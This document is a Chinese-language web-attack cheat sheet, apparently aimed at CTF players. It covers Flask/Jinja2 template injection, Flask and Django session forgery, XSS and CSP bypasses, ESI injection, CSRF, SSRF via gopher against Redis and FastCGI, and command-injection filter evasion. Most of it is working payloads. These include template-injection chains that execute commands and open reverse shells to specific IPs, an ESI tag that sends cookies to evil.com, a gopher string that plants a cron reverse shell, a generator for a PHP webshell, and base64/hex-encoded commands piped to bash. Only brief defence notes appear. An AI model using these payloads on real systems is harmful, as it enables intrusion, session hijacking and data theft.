{{ ''.__class__.__mro__[2].__subclasses__()[40]('/tmp/evilconfig.cfg', 'w').write('test') }}

命令执行

1
2
3
4
5
6
7
8
9
10
11
12
13
''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__.__builtins__
下有eval,__import__等的全局函数,可以利用此来执行命令:

#eval
''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('id').read()")

''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__.__builtins__.eval("__import__('os').popen('id').read()")

#__import__

''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__.__builtins__.__import__('os').popen('id').read()

''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['__import__']('os').popen('id').read()

反弹shell

1
[].__class__.__base__.__subclasses__()[76].__init__.__globals__['os'].system('bash -c "bash -i >& /dev/tcp/139.159.140.198/2345 0>&1"')

加载自定义模块

写文件

1
2
3
4
5
payload1:
{{ ''.__class__.__mro__[2].__subclasses__()[40]('/tmp/evil', 'w').write('from os import system%0aCMD = system') }}

payload2:
{{ ''.__class__.__mro__[2].__subclasses__()[40]('/tmp/evil', 'w').write('from subprocess import check_output%0aRUNCMD=check_output') }}

利用 config.from_pyfile 加载文件

1
{{ config.from_pyfile('/tmp/evil') }}

反弹shell

1
2
{{ config['RUNCMD']('bash -i >& /dev/tcp/192.168.86.131/8080 0>&1') }}
{{ config['CMD']('nc 192.168.86.131 8080 -e /bin/sh') }}

python3

1
2
3
4
5
6
7
8
9
10
11
12
13
14
#命令执行:
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('id').read()") }}{% endif %}{% endfor %}

#文件操作

{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('filename', 'r').read() }}{% endif %}{% endfor %}

().__class__.__bases__[0].__subclasses__()[-4].__init__.__globals__['system']('ls')

().__class__.__bases__[0].__subclasses__()[93].__init__.__globals__["sys"].modules["os"].system("ls")

''.__class__.__mro__[1].__subclasses__()[104].__init__.__globals__["sys"].modules["os"].system("ls")

[].__class__.__base__.__subclasses__()[127].__init__.__globals__['system']('ls')

bypass

1
session['__cla'+'ss__'].__base__.__base__.__base__['__subcla'+'sses__']()[163].__init__.__globals__['__bui'+'ltins__']['op'+'en']('/flag').read()

flask继承链读取配置文件

__init__.__globals__[app].__dict__

flask session 伪造

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from flask import Flask
from flask.sessions import SecureCookieSessionInterface

app = Flask(__name__)
app.secret_key = b'fb+wwn!n1yo+9c(9s6!_3o#nqm&&_ej$tez)$_ik36n8d7o6mr#y'

session_serializer = SecureCookieSessionInterface().get_signing_serializer(app)

@app.route('/')
def index():
return session_serializer.dumps("admin")
#return "lol"

if __name__ == "__main__":
app.run()

django sessionid伪造(客户端存储认证信息

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import os
os.environ.setdefault('DJANGO_SETTINGS_MODULE','settings')
from django.conf import settings
from django.core import signing
from django.contrib.sessions.backends import signed_cookies
from passlib.hash import pbkdf2_sha256
from django.contrib.auth.hashers import make_password, check_password

sess = signing.loads('.eJxVjDEOgzAMRe_iGUUQULE7du8ZIid2GtoqkQhMVe8OSAzt-t97_wOO1yW5tersJoErWGh-N8_hpfkA8uT8KCaUvMyTN4diTlrNvYi-b6f7d5C4pr1uGXGI6AnHGLhjsuESqRdqByvYq_JohVDguwH3fzGM:1iKcXo:zoHRyaS9hkddxcM5jTUjTGHL9uI',key='d7um#o19q+v24!vkgzrxme41wz5#_h0#[email protected]&uwe39',salt='django.contrib.sessions.backends.signed_cookies')
print sess

sess[u'_auth_user_id'] = u'1'
sess[u'_auth_user_hash'] = u'569127665f950beb6dd4a55098a8768f58814b04'
# '569127665f950beb6dd4a55098a8768f58814b04'
print sess
s= signing.dumps(sess, key='d7um#o19q+v24!vkgzrxme41wz5#_h0#[email protected]&uwe39',compress=True, salt='django.contrib.sessions.backends.signed_cookies')
print s

_auth_user_hash可以通过pycharm在login处下断点,单步调试,将数据库中的password替换生成

XSS

原理

恶意攻击者往Web页面里插入恶意javaScript代码,当用户浏览该页之时,嵌入其中Web里面的javaScript代码会被执行,从而达到恶意攻击用户的目的。

分类

反射型,存储型,dom型

可能触发DOM型XSS的属性:

document.referer属性

window.name属性

location属性

innerHTML属性

documen.write属性

常见exp

1
2
3
4
5
6
<script>alert(1)</script>
<a href"javascript:alert(1)">click</a>
<iframe src="javascript:alert(1)"></iframe>
<iframe srcdoc="<script>alert(1)</script>"</iframe>
<embed src="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></embed>
<svg/onload=alert(1)>

绕过安全策略

编码绕过

html实体编码

DOM元素的属性值会自动HTML解码

1
2
<iframe srcdoc="&#60;script&#62;alert(1)&#60;/script&#62;">
</iframe>

自动html编码的标签

1
2
3
4
5
6
7
<textarea></textarea>
<title></title>
<iframe></iframe>
<nosctipt></nosctipt>
<noframes></noframes>
<xmp></xmp>
<plaintext></plaintext>

js编码

eval中的参数可以JS编码

1
<script>eval("alert\501\51");</script>

GBK字符造成逃逸

%bf和\ 一起会形成一个新的字符。这样就吞掉了一个\

1
2
3
http://54.223.108.205:23333/new.php

title=123&content=123%bf\x3csvg/onload=alert(1); %bf\x3e&submit=submit

一些trick

  • url中协议头可去掉,如//example.com(http),\example(https,linux)

  • 过滤;,用换行

  • HTML实体编码中,;可以去掉,例如&#60,不需要;

  • 可以利用拼接一个eval函数执行代码,例如"a"+eval("alert(1)")

  • ip可以用10进制或者16进制表示

bypass http-only

开启httponly之后,JS无法访问cookie。

CVE-2012-005 通过植入超大的cookie,使得HTTP头超过apache的LimitRequestsFieldSize(4192),apache便会返回400错误,状态页中就包含了http-only保护的cookie

利用调试信息,如:PHP的phpinfo()和Django的调试信息,里边都记录了Cookie的值,且标志了HttpOnly的Cookie也同样可以获取到。

ESI(Edge Side Include)注入技术

ESI语言是基于XML标签的的标记语言,通过缓存大量的web内容缓解服务器性能压力,主要被用于流行的HTTP 代理解决方案中。ESI标签用于指示反向代理(缓存服务器)获取已经缓存好的模板的网页的更多信息。在客户端处理的这些信息很可能来自另一台服务器。

HTTP代理无法区分ESI标签是来自上游服务器的合法标签还是HTTP响应包中恶意注入的。也就是说,如果攻击者可以成功地注入在HTTP响应包中注入ESI标签,那么代理就是解析处理它们,认为这些ESI标签是来自上游服务器的合法标签。

SSRF payload

1
<esi:include src="http://vps:12345" /

客户端XSS过滤器通常通过将请求的输入与其响应进行比较来工作。当部分GET参数在HTTP响应中出现时,浏览器将启动一系列安全措施以确定是否存在潜在的XSS payload

但是,Chrome的XSS保护不知道ESI标签,因为ESI标签不在客户端进行处理。通过执行一些ESI特性,可以将一部分XSS payload分配给ESI引擎中的变量,然后将其执行返回。在ESI引擎完全发送响应数据给浏览器之前,ESI引擎将在服务器端构建出恶意JavaScript payload 。这将绕过XSS过滤器,因为发送到服务器的输入不会按原样返回给浏览器,绕过了我们上面提到的检测机制。

1
2
x=<esi:assign name="var1" value="'cript'"/><s<esi:vars name="$(var1)"/>
>alert(/Chrome%20XSS%20filter%20bypass/);</s<esi:vars name="$(var1)"/>>

由于ESI是在服务器端进行处理的,因此可以在从上游服务器到代理的过程中使用这些cookie。一个攻击媒介将使用ESI include通过其URL来外带cookie

获取http-only的cookie

1
<esi:include src="http://evil.com/?cookie=$(HTTP_COOKIE{'JSESSIONID'})" />

bypass CSP

CSP: 内容安全策略(CSP)是一种web应用技术用于帮助缓解大部分类型的内容注入攻击,包括XSS攻击和数据注入等,这些攻击可实现数据窃取、网站破坏和作为恶意软件分发版本等行为。该策略可让网站管理员指定客户端允许加载的各类可信任资源。
当代网站太容易收到XSS的攻击,CSP就是一个统一有效的防止网站收到XSS攻击的防御方法。CSP是一种白名单策略,当有从非白名单允许的JS脚本出现在页面中,浏览器会阻止脚本的执行

location.href

CSP不影响location.href跳转,因为当今大部分网站的跳转功能都是由前端实现的,CSP如果限制跳转会影响很多的网站功能。所以,用跳转来绕过CSP获取数据是一个万能的办法,虽然比较容易被发现,但是在大部分情况下对于我们已经够用
当我们已经能够执行JS脚本的时候,但是由于CSP的设置,我们的cookie无法带外传输,就可以采用此方法,将cookie打到我们的vps上

1
location.href = "vps_ip:xxxx?"+document.cookie

利用条件:可以执行任意js代码,但是由于CSP不能外带数据

iframe

当一个同源站点,同时存在两个页面,其中一个有CSP保护的A页面,另一个没有CSP保护B页面,那么如果B页面存在XSS漏洞,我们可以直接在B页面新建iframe用javascript直接操作A页面的dom,可以说A页面的CSP防护完全失效

A页面

1
2
3
4
<!-- A页面 -->
<meta http-equiv="Content-Security-Policy" content="default-src 'self'; script-src 'self'">

<h1 id="flag">flag{0xffff}</h1>

B页面

1
2
3
4
5
6
7
8
9
10
11
<!-- B页面 -->

<!-- 下面模拟XSS -->
<body>
<script>
var iframe = document.createElement('iframe');
iframe.src="A页面";
document.body.appendChild(iframe);
setTimeout(()=>alert(iframe.contentWindow.document.getElementById('flag').innerHTML),1000);
</script>
</body>

利用条件:一个同源站点内存在两个页面,一个有CSP防护,而另一个没有CSP保护且存在XSS,我们想要的数据在有CSP保护的页面内

用CDN来绕过

一般来说,前端会用到许多的前端框架和库,部分企业为了减轻服务器压力或者其他原因,可能会引用其他CDN上的JS框架,如果CDN上存在一些低版本的框架,就可能存在绕过CSP的风险

orange师傅的文章: https://paper.seebug.org/855/

举例: 如果用了Jquery-mobile库,且CSP中包含”script-src ‘unsafe-eval’”或者”script-src ‘strict-dynamic’”,可以用此exp

1
<div data-role=popup id='<script>alert(1)</script>'></div>

利用条件:CDN服务商存在某些低版本的js库且此CDN服务商在CSP白名单中

站点可控静态资源绕过

codimd的CSP中使用了www.google-analytics.com
www.google.analytics.com中提供了自定义javascript的功能(google会封装自定义的js,所以还需要unsafe-eval),于是可以绕过CSP

利用条件:站点存在可控静态资源,站点在CSP白名单中

站点可控JSONP绕过

大部分站点的jsonp是完全可控的,只不过有些站点会让jsonp不返回html类型防止直接的反射型XSS,但是如果将url插入到script标签中,除非设置x-content-type-options头,否者尽管返回类型不一致,浏览器依旧会当成js进行解析

例题: ins’hack 2019 bypasses-everywhere

利用条件:站点存在可控JSONP,且在CSP白名单中

base-uri绕过

RCTF 2018 rBlog的非预期解

当服务器CSP script-src采用了nonce时,如果只设置了default-src没有额外设置base-uri,就可以使用``标签使当前页面上下文为自己的vps,如果页面中的合法script标签采用了相对路径,那么最终加载的js就是针对base标签中指定url的相对路径

1
2
3
<meta http-equiv="Content-Security-Policy" content="default-src 'self'; script-src 'nonce-test'">
<base href="//vps_ip/">
<script nonce='test' src="2.js"></script>

如果页面的script-src不是采用的nonce而是self或者域名ip,则不能使用此方法,因为vps_ip不在csp白名单内

利用条件:script-src只使用nonce,没有设置额外的base-uri,页面引用存在相对路径的<scirpt>标签

不完整script标签绕过nonce

漏洞代码

1
2
3
4
5
6
<?php header("X-XSS-Protection:0");?>
<meta http-equiv="Content-Security-Policy" content="default-src 'self'; script-src 'nonce-xxxxx'">
<?php echo $_GET['xss']?>
<script nonce='xxxxx'>
//do some thing
</script>

exp:

1
?xss=123<script src="data:text/plain,alert(1)" a=123 a=

这是因为当浏览器碰到一个左尖括号时,会变成标签开始状态,然后会一直持续到碰到右尖括号为止,在其中的数据都会被当成标签名或者属性,所以第五行的<script会变成一个属性,值为空,之后的nonce=’xxxxx’会被当成我们输入的script的标签的一个属性,相当于我们盗取了合法的script标签中的nonce,于是成功绕过了scripr-src

利用条件:可控点在合法的script标签上方,且其中没有其他标签,XSS页面的CSP script-src只采用了nonce方式

PDF-XSS

PDF文件中允许执行javascript脚本,但是之前浏览器的pdf解析器并不会解析pdf中的js,但是之前chrome的一次更新中突然允许加载pdf的javascript脚本 当然pdf的xss并不是为所欲为,比如pdf-xss并不能获取页面cookie,但是可以弹窗,url跳转等

参考链接: https://blog.csdn.net/microzone/article/details/52850623

利用条件:没有设置object-src,或者object-src没有设置为‘none’,pdf用的是chrome默认的解析器

svg 绕过

SVG作为一个矢量图,但是却能够执行javascript脚本,如果页面中存在上传功能,并且没有过滤svg,那么可以通过上传恶意svg图像来xss

例题: CONFidence CTF

1
2
3
4
5
6
<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" id="Layer_1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px" width="100px" height="100px" viewBox="0 0 751 751" enable-background="new 0 0 751 751" xml:space="preserve"> <image id="image0" width="751" height="751" x="0" y="0"
href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAu8AAALvCAIAAABa4bwGAAAAIGNIUk0AAHomAACAhAAA+gAAAIDo" />
<script>alert(1)</script>
</svg>

利用条件:可以上传svg图片

不完整的资源标签获取资源

漏洞代码

1
2
3
4
<meta http-equiv="Content-Security-Policy" content="default-src 'self';script-src 'self'; img-src *;">
<?php echo $_GET['xss']?>
<h1>flag{0xffff}</h1>
<h2 id="id">3</h2>

这里可以注意到img用了*,有些网站会用很多外链图片,所以这个情况并不少见
虽然我们可以新建任意标签,但是由于CSP我们的JS并不能执行(没有unsafe-inline),于是我们可以用不完整的<img标签来将数据带出

exp:?xss=<img src="//VPS_IP?a=

此时,由于src的引号没有闭合,html解析器会去一直寻找第二个引号,引号其中的大部分标签都不会被解析,所以在第四行的第一个引号前的所有内容,都会被当成src的值被发送到我们的vps上

需要注意的是,chrome下这个exp并不会成功,因为chrome不允许发出的url中含有回车或<,否者不会发出

利用条件:可以加载外域资源,需要获取页面某处的信息

CSS选择器获取内容

例题: 2018 SECCON CTF

需要设置style-src为*,或者只设置了script-src

大概思路就是css提供了选择器,当选择器到对应元素的时,可以加载一个外域请求,相当于sql的盲注

利用条件比较苛刻

CRLF绕过

HCTF2018的一道题,当一个页面存在CRLF漏洞时,且我们的可控点在CSP上方,就可以通过注入回车换行,将CSP挤到HTTP返回体中,这样就绕过了CSP

参考链接: https://evoa.me/index.php/archives/53/

防御

对输入(和URL参数)进行过滤,对输出进行编码。

设置安全策略

CSRF

攻击者盗用了你的身份,以你的名义发送恶意请求,对服务器来说这个请求是完全合法的,但是却完成了攻击者所期望的一个操作,比如以你的名义发送邮件、发消息,盗取你的账号,添加系统管理员,甚至于购买商品、虚拟货币转账等。

攻击流程:攻击者发现CSRF漏洞——构造代码——发送给受害人——受害人打开——受害人执行代码——完成攻击

局限性(前提条件):

a.目标站点不能有检查referer头的操作,或许被攻击者的浏览器允许referer欺骗。

b.攻击者必须在目标站点找到啊一个表单的提交入口,或者有类似的URL(例如用来转钱,修改受害者邮箱或者密码)

c.攻击者必须觉得所有的表单或者URL参数中的正确的值;如果有秘密验证值或者ID,攻击者没有猜对,攻击很可能不成功。

d.攻击者必须诱使受害者访问有恶意代码的页面,并且此时受害者已经登录到目标站点。

CSS注入-爆破CSRF Token

SSRF

SSRF(全称 Server Side Request Forgery)服务端请求伪造。ssrf的形成是因为程序接口或者某种功能没有严格的进行过滤和内网隔离导致,攻击者可以构造恶意请求由服务端接受请求后发起这个请求。

SSRF可能出现的场景:

  • 能够对外发起网络请求的地方,就可能存在 SSRF 漏洞
  • 从远程服务器请求资源(Upload from URL,Import & Export RSS Feed)
  • 数据库内置功能(Oracle、MongoDB、MSSQL、Postgres、CouchDB)
  • Webmail 收取其他邮箱邮件(POP3、IMAP、SMTP)
  • 文件处理、编码处理、属性信息处理(ffmpeg、ImageMagic、DOCX、PDF、XML)

漏洞造成的危害:

(1)、可以对外网、服务器所在内网、本地进行端口扫描,获取一些服务的banner信息;

(2)、攻击运行在内网或本地的应用程序(比如溢出);

(3)、对内网Web应用进行指纹识别,通过访问默认文件实现;

(4)、攻击内外网的Web应用,主要是使用Get参数就可以实现的攻击(比如Struts2漏洞利用,SQL注入、DDOS等);

(5)、利用File协议读取本地文件。

SSRF在PHP中由 curl()、file_get_contents()、fsockopen()函数产生

在没有回显的情况下可以根据DNSlog的请求判断

攻击方法

利用 Gopher 打redis

  • 绝对路径写shell
  • 写ssh公钥
  • 反弹shell
1
gopher://127.0.0.1:6379/_*1%0d%0a$8%0d%0aflushall%0d%0a*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$64%0d%0a%0d%0a%0a%0a*/1 * * * * bash -i >& /dev/tcp/172.19.23.228/2333 0>&1%0a%0a%0a%0a%0a%0d%0a%0d%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0aquit%0d%0a

转换脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
import urllib
protocol="gopher://"
ip="192.168.163.128"
port="6379"
shell="\n\n<?php eval($_GET[\"cmd\"]);?>\n\n"
filename="shell.php"
path="/var/www/html"
passwd=""
cmd=["flushall",
"set 1 {}".format(shell.replace(" ","${IFS}")),
"config set dir {}".format(path),
"config set dbfilename {}".format(filename),
"save"
]
if passwd:
cmd.insert(0,"AUTH {}".format(passwd))
payload=protocol+ip+":"+port+"/_"
def redis_format(arr):
CRLF="\r\n"
redis_arr = arr.split(" ")
cmd=""
cmd+="*"+str(len(redis_arr))
for x in redis_arr:
cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ")
cmd+=CRLF
return cmd

if __name__=="__main__":
for x in cmd:
payload += urllib.quote(redis_format(x))
print payload

利用 Gopher 打fast-cgi

1
gopher://127.0.0.1:9000/_%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%10%00%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%02CONTENT_LENGTH97%0E%04REQUEST_METHODPOST%09%5BPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Asafe_mode%20%3D%20Off%0Aauto_prepend_file%20%3D%20php%3A//input%0F%13SCRIPT_FILENAME/var/www/html/1.php%0D%01DOCUMENT_ROOT/%01%04%00%01%00%00%00%00%01%05%00%01%00a%07%00%3C%3Fphp%20system%28%27bash%20-i%20%3E%26%20/dev/tcp/172.19.23.228/2333%200%3E%261%27%29%3Bdie%28%27-----0vcdb34oju09b8fd-----%0A%27%29%3B%3F%3E%00%00%00%00%00%00%00

dnslog 解决无回显

DNS预解析可以绕过CSP进行解析,结合DNSLOG我们即可窃取在CSP保护下的Cookie。

布尔型ssrf

Bool型SSRF的却永远只有True or False. 因为没有任何Response信息,所以对于攻击Payload的选择也是有很多限制的, 不能选择需要和Response信息交互的Payload

打Struts2

参考链接: https://www.uedbox.com/post/10524/

绕过方法

  • url解析问题
  • ip进制转换
  • 短域名绕过
  • xip.io
  • 302跳转
  • 伪协议

防御方法

  1. 过滤返回信息,验证远程服务器对请求的响应是比较容易的方法。如果web应用是去获取某一种类型的文件。那么在把返回结果展示给用户之前先验证返回的信息是否符合标准。
  2. 统一错误信息,避免用户可以根据错误信息来判断远端服务器的端口状态。
  3. 限制请求的端口为http常用的端口,比如,80,443,8080,8090。
  4. 黑名单内网ip。避免应用被用来获取获取内网数据,攻击内网。
  5. 禁用不需要的协议。仅仅允许http和https请求。可以防止类似于file:///,gopher://,ftp:// 等引起的问题。
  6. 禁用跳转

命令执行

空格过滤

1
< 、<>、%20(space)、%09(tab)、$IFS$9、 ${IFS}、$IFS

命令分割符

1
2
linux中:%0a 、%0d 、; 、& 、| 、&&、||
windows中:%0a、&、|、%1a(一个神奇的角色,作为.bat文件中的命令分隔符)

花括号

在Linux bash中还可以使用{OS_COMMAND,ARGUMENT}来执行系统命令

黑名单绕过

拼接绕过

例如: a=l;b=s;$a$b

编码绕过

base64

1
2
echo MTIzCg==|base64 -d 其将会打印123
echo "Y2F0IC9mbGFn"|base64-d|bash ==>cat /flag

hex

1
echo "636174202f666c6167" | xxd -r -p|bash ==>cat /flag

oct

1
2
3
4
5
$(printf "\154\163") ==>ls
$(printf "\x63\x61\x74\x20\x2f\x66\x6c\x61\x67") ==>cat /flag
{printf,"\x63\x61\x74\x20\x2f\x66\x6c\x61\x67"}|\$0 ==>cat /flag
#可以通过这样来写webshell,内容为<?php @eval($_POST['c']);?>
${printf,"\74\77\160\150\160\40\100\145\166\141\154\50\44\137\120\117\123\124\133\47\143\47\135\51\73\77\76"} >> 1.php

单引号或双引号绕过

例如: ca''t flagca""t flag

反斜杠绕过

例如:ca\t fl\ag

shell特殊变量绕过

linux shell中$n表示传递给脚本或函数的参数。n 是一个数字,表示第几个参数。
例如,第一个参数是1,第二个参数是2。而参数不存在时其值为空。
[email protected]表示
比如:[email protected] [email protected]
ca$1t fla$2g

长度限制

ls 拼接文件,hitcon的一道题

内联执行

命令替代,大部分Unix shell以及编程语言如Perl、PHP以及Ruby等都以成对的重音符(反引号)作指令替代,意思是以某一个指令的输出结果作为另一个指令的输入项。
例如:echo “apwd

查看文件

cat、tac、more、less、head、tail、nl、sed、sort、uniq

0%